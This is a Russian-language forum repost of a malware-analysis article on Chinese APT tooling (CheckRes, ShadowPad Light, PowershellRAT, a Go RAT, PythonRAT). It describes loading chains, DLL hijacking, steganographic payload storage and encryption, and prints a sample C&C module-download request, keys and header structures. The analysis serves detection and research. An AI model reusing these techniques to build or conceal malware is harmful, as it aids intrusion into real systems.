• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CheckRes, PowershellRAT и другие. Что мы нашли в арсенале китайских APT-группировок

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
В 2021 году китайские APT-группировки вели себя особенно активно. При этом у каждой из них был свой уникальный инструментарий. Перелопатив тысячи строк вредоносного кода, пойманного во время расследования инцидентов, мы обнаружили немало любопытных фишек, о которых и расскажем в этой статье.

CHECKRES​

Загрузка​

Для запуска основной нагрузки этот вредонос использует пять файлов, которые последовательно запускают друг друга. Как это работает, видно на рисунке ниже. Основная нагрузка запускается файлом cmd, который появляется в системе в самом начале работы вредоноса. Но при этом сам файл cmd запускается еще не существующим в системе скриптом на VBS. Такой комплексный подход к запуску основной нагрузки, вероятно, нужен для того, чтобы обойти поведенческий анализ.

Схема загрузки CheckRes


Модули​

В начале работы полезной нагрузки с удаленного сервера загружаются модули.

POST-запрос для получения модуля​

Код:
POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Accept-Language: de-at
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: Keep-Alive

lab=3999/06171252&size=1&data=F
С сервера может быть выгружено до 16 модулей.

Загрузка модулей CheckRes

Модули приходят в теле HTTP-запроса. Они запакованы, закодированы Base64 и окружены тегом <update>.

Модули представляют собой DLL-файлы, где заголовок‑заглушка MS-DOS заполнен нулями (видно на скриншоте ниже). При загрузке с C&C парсится таблица импортов и релокации. После этого для запуска модуля вызывается entrypoint DLL-файла, где происходит создание потока. Создание потока необходимо, если требуется продолжительная работа модуля, поскольку исполняемый файл работает в одном потоке.

Заголовок модуля CheckRes

Каждый модуль выводит информацию о своей работе в файл, который расположен по следующему пути:
Код:
%allusersprofile%\{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C}
Файл вывода каждого модуля имеет свое расширение (например, .cap, .kst, .rdd). Содержимое файла зашифровано при помощи операции XOR с генератором псевдослучайных чисел «Вихрь Мерсенна».

Вихрь Мерсенна​

Модули для шифрования выходных данных используют некриптографический генератор псевдослучайных чисел «Вихрь Мерсенна» с изначальным значением (seed) 11. Все параметры соответствуют стандартному алгоритму для генерации 32-битных значений. В каждом модуле есть несколько характерных особенностей, связанных с реализацией алгоритма. Во‑первых, это изначальная инициализация массива, которая повторяется два раза: при первом заполнении значение seed устанавливается равным 5489. Затем, никак не влияя на предыдущее заполнение, массив заполняется повторно со значением seed, равным 11.

Двукратная инициализация массива

Есть еще одна особенность: используется массив, равный двум порядкам рекуррентной последовательности, а именно 1248. Таким образом, изначально инициализируется первая половина массива, после чего согласно алгоритму на основе первой части генерируется вторая половина массива. При использовании всех 624 сгенерированных элементов второй половины первая затирается. А на основе второй половины по рекуррентному соотношению заполняется уже первая.

В итоге одна половина массива всегда содержит данные для генерации другой части. Можно было бы предположить, что это сделано, чтобы упростить реализацию: использование одного цикла для заполнения массива уже псевдослучайными числами вместо двух. Но при заполнении первой части все же приходится делить алгоритм заполнения массива на два цикла, как это реализовано здесь.

И последняя особенность касается «закалки» псевдослучайного числа. В изначальном алгоритме предполагается сначала битовый сдвиг на константу, а затем производится побитовое логическое И. Здесь же порядок изменен, что повлияло на константы, используемые для этой операции. Так, константа 0xefc60000 здесь представлена в виде значения 0xFFFFDF8C.

Закаливание псевдослучайного числа


SHADOWPAD LIGHT 2021​

ShadowPad Light — облегченная версия оригинального ShadowPad без обфускации кода. Несмотря на то что этот семпл очень похож на оригинальный ShadowPad, у него есть свои особенности.

Загрузка​

ShadowPad Light поставляется тремя файлами:
  • hpdigital.exe — легитимный исполняемый файл, имеющий подпись компании HP;
  • hpqhvsei.dll — вредоносная библиотека, загружается посредством техники DLL hijacking;
  • hpqlpvdt.tmp — шифрованная нагрузка, которая содержит распаковщик и полезную вредоносную нагрузку, также хранит в себе первоначальный необходимый для работы набор модулей.
Файл hpdigital.exe «вручную» подгружает библиотеку hpqhvsei.dll при помощи LoadLibraryW, после чего так же выгружает файл при помощи функции FreeLibrary. При загрузке библиотеки hpqhvsei.dll расшифровывает файл hpqlpvdt.tmp.

Алгоритм расшифровка загрузчика ShadowPad Light

При выгрузке библиотеки вредоносная hpqhvsei.dll патчит код в памяти hpdigital.exe, что представлено на рисунке ниже. Таким образом, после завершения работы библиотеки и выгрузки ее из памяти основной модуль переходит к вредоносному загрузчику из файла hpqlpvdt.tmp.

Исправление памяти легитимного файла для перехода к загрузчику вредоносного кода

Загрузчик в свою очередь расшифровывает полезную нагрузку. Используется алгоритм AES и вот такой ключ:
Код:
726e6e7358786d3853483377464f7064
Далее он ее распаковывает (алгоритм lzma1) при помощи функции RtlDecompressBuffer. Распакованная полезная нагрузка имеет заголовок not full PE, который включает данные о содержащихся секциях и точке входа. Его структура представлена в листинге ниже.

Заголовок основной полезной нагрузки​

Код:
struct __unaligned __declspec(align(4)) shadowpadl_header
{
  int MAGIC; // 0xdeed4554
  int notUsedField;
  int EntryPoint;
  unsigned __int64 RelocDiffConst;
  unsigned int ImageBase;
  int SectionCodeVirtualSize;
  int SectionCodeSize;
  int SectionDataVirtualSize;
  int SectionDataSize;
  int SectionEncDataVirtualSize;
  int SectionEncDataSize;
  int SectionRelocSize;
};
Если дальше разбирать модули, можно увидеть, что у них почти такая же структура заголовка. Единственное отличие — у модулей в начале есть еще одно поле, которое предположительно означает дату создания. Поле notUsedField обозначает ID модуля. Поле MAGIC — сигнатура 0xdeed4554. Сами модули хранятся в запакованном (алгоритм snappy) и зашифрованном виде в ресурсах основной нагрузки. В качестве алгоритма шифрования используется потоковый алгоритм salsa20, константа для расширения ключа — arbitraryconstat.

Отдельно отметим алгоритм обработки релоков. При загрузке PE-файла для применения релоков требуется два числа: изначальный базовый адрес исполняемого файла и базовый адрес, по которому файл был загружен. Высчитывается разница между ними и прибавляется к тому адресу, по которому необходимо применить релок. Формула выглядит так:
Код:
diff = newimagebase - imagebase
dst = newimagebase + rva
for offset in offsets:
    dst[offset] += diff
В случае ShadowPad Light в структуре присутствует константа, которая участвует в первой операции. Таким образом, у нас выходит следующее преобразование:
Код:
diff = newimagebase - imagebase - relocdiffconst
dst = newimagebase + rva - imagebase
for offset in offsets:
    dst[offset] += diff
Помимо этого, в вычислении адреса релока участвует imagebase, потому что значение RVA содержит в себе значение imagebase.

Сравнение с предыдущей версией ShadowPad​

Сравним оригинальный ShadowPad с ShadowPad Light. Функция точки входа плагинов в них немного отличается. На рисунке показан код точки входа плагинов старого ShadowPad (слева) и нового (справа).

Сравнение функций точек входа. Слева — старая версия ShadowPad, справа — новая

Одна из характерных особенностей ShadowPad — хранение модулей в реестре. В новом ShadowPad Light она тоже присутствует, но распространяется только на дополнительные модули, которые загружаются с сервера. Там они находятся в таком же виде, в котором хранятся встроенные модули в ресурсах загрузчика полезной нагрузки. То есть зашифрованы и упакованы тем же алгоритмом и имеют ту же структуру заголовка.

Теперь к изменениям, которым подвергся ShadowPad Light. Первое, что бросается в глаза, — тут нет нескольких способов обфускации, которые были в старом ShadowPad. Отсутствуют:
  • обфускация вызовов внешних функций;
  • обфускация техникой перекрытия инструкций;
  • обфускация абсолютными прыжками для перемешивания инструкций.
Из‑за этих изменений мы и назвали данный семпл ShadowPad Light.

Обфускация вызова внешних функций оригинального ShadowPad


Обфускация техникой перекрытия инструкций оригинального ShadowPad

Кроме этого, можно выделить еще ряд отличий:
  • структура заголовка модуля изменилась полностью. Новый ShadowPad не работает с виртуальными таблицами импорта. Вместо этого каждый модуль находит необходимые внешние функции через peb-заголовок. В листингах ниже представлены структуры заголовков плагинов для нового ShadowPad и его старого варианта;
  • применяются разные алгоритмы шифрования и архивации модулей;
  • модулям назначены новые идентификаторы.

Структура заголовка модуля ShadowPad Light​

Код:
struct __unaligned __declspec(align(4)) shadowpadl_plugin_header
{
  int Timestamp;
  int MAGIC;
  int ModuleID;
  int EntryPoint;
  unsigned __int64 RelocDiffConst;
  unsigned int ImageBase;
  int SectionCodeVirtualSize;
  int SectionCodeSize;
  int SectionDataVirtualSize;
  int SectionDataSize;
  int SectionEncDataVirtualSize;
  int SectionEncDataSize;
  int SectionRelocSize;
};

Структура заголовка модуля оригинального ShadowPad​

Код:
struct __unaligned __declspec(align(4)) old_shadowpad_plugin_header
{
  int ImageSize;
  int ImageBase;
  int RelocSectionVA;
  int RelocSectionSize;
  int ImportSectionVA;
  int ImportSectionSize;
  int AddressOfEntryPoint;
  int NumberOfSections;
  int Timestamp;
  int SectionHeaders;
};
Далее в таблице представлен список модулей, которые нам довелось проанализировать. Модули, у которых ID в интервале с 0x30 по 0xb0, встроены в сам вредоносный файл и не попадают в реестр. Остальные модули добавляются во время работы ShadowPad и были обнаружены в зараженной системе в реестре.

table-1.png


POWERSHELLRAT​

Главная особенность этого вредоноса — использование стеганографии LSB для хранения полезной нагрузки. Если кратко, то информация хранится в последних битах каждого канала пикселя картинки. То есть для хранения одного байта нужно два пикселя c четырьмя каналами: RGBA. При изменении только последнего бита невозможно увидеть невооруженным взглядом искажение картинки.

Перейдем непосредственно к вредоносу. PowershellRAT поставляется в составе трех файлов:
  • динамическая библиотека, которая является сервисом;
  • подгружаемый сервисом файл, который ищет и загружает вредоносный PowerShell-скрипт;
  • картинка, которая содержит PowerShell-скрипт.
Параметры вредоносного сервиса

Загружаясь, сервис настраивает окружение .NET и подгружает вредоносную библиотеку Jsprofile.dll.

Вызов метода Setfilter класса Jspfilter пространства имен Jsprofile

Эта библиотека вызывает метод Jsprofile.Jspfilter.Setfilter, который ищет файл с расширением .png.

Поиск картинки в файловой системе

Этот файл и есть та самая картинка c режимом RGBA, в которой посредством стеганографии (LSB) спрятан скрипт на PowerShell. Перед извлечением содержимого картинки проверяется ряд параметров, которым она должна соответствовать. Среди них:
  • размер картинки — ширина и высота должны быть больше определенных значений;
  • сигнатура: f16a921dd97e467c.
Проверка размера картинки
Проверка сигнатуры данных и преобразование данных в число — длину зашифрованных данных

Сначала идет заголовок:
Код:
struct header {
    char signature[8]; // f16a921dd97e467c
    int len_data;
}
Далее — зашифрованный и упакованный скрипт на PowerShell. Алгоритм сжатия — bzip. Алгоритм шифрования — циклический XOR с байтами 52298b5337f5baaa.

REMSHELL, SMANAGER, MAIL-O​

Следующий семпл, про который хотим рассказать, написан на языке программирования Go. Нам показалось, что он очень похож на семейства вредоносов Mail-O и Smanager. Поэтому мы решили их сравнить и обнаружили развитие в сторону упрощения разработки командного сервера и вредоносного приложения (клиента):
  • для разработки использован язык Go;
  • вернулись к взаимодействию по протоколу HTTP;
  • работает в виде самостоятельного исполняемого файла, а не службы.
Если сравнить с Smanager, то можно отметить, что для сокрытия трафика от возможной MITM-атаки в новой версии используется шифрование содержимого HTTP-протокола при помощи алгоритма AES вместо техники SSL pinning с реализацией через SSPI. Это опять же упрощает разработку. Ниже — сравнение выделенных нами характеристик.

table-2.png


Команды Go-Sample


PYTHONRAT​

И еще один вредонос, который разберем в этой статье, — PythonRAT, представляющий собой скомпилированный при помощи pyinstaller исполняемый файл. После извлечения питоновских файлов из исполняемого файла мы найдем файл client, при декомпиляции которого возникает ошибка. При просмотре в hex-редакторе мы увидим, что заголовок pyc-файла отсутствует, вместо этого сразу же идет заголовок CodeObject, а именно тип объекта (0x63), затем пять четырехбайтовых значений.

Структура объекта кода, взятая из исходного кода cPython2.7, marshal.c


Заголовок файла client

После восстановления заголовка появляется возможность произвести декомпиляцию при помощи uncompyle2. Внутри содержится код основной нагрузки вредоносного файла более чем на 1500 строк. Здесь находятся получение команд и их обработка. Шифрование выполняется вшитыми ключами при помощи алгоритма AES, а для общения с сервером C&C используется библиотека zlib. Причем для шифрования принимаемых и отправляемых данных применяются разные ключи.

Код получения и обработки команд


ВЫВОДЫ​

В общем, инструментарий китайских APT-группировок отличается двумя интересными моментами. С одной стороны, это большое разнообразие техник и средств для выполнения вредоносных действий. Здесь и использование модульной архитектуры, и широкий ряд применяемых языков программирования.

С другой стороны, мы видим тенденцию к упрощению разработки вредоносного ПО: использование высокоуровневых языков программирования, отказ от обфускации кода в пользу методов усложнения доступа к коду с полезной нагрузкой. Злоумышленники делают ставку на быструю разработку, а также на противодействие обнаружению и быстрому анализу их кода.

Вредоносы часто и так достигают своих целей вне зависимости от используемых методов обфускации. Поэтому защита от комплексного подхода к изучению ВПО китайских хакеров волнует в меньшей степени.

автор r3seh-ya-ru
xakep.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх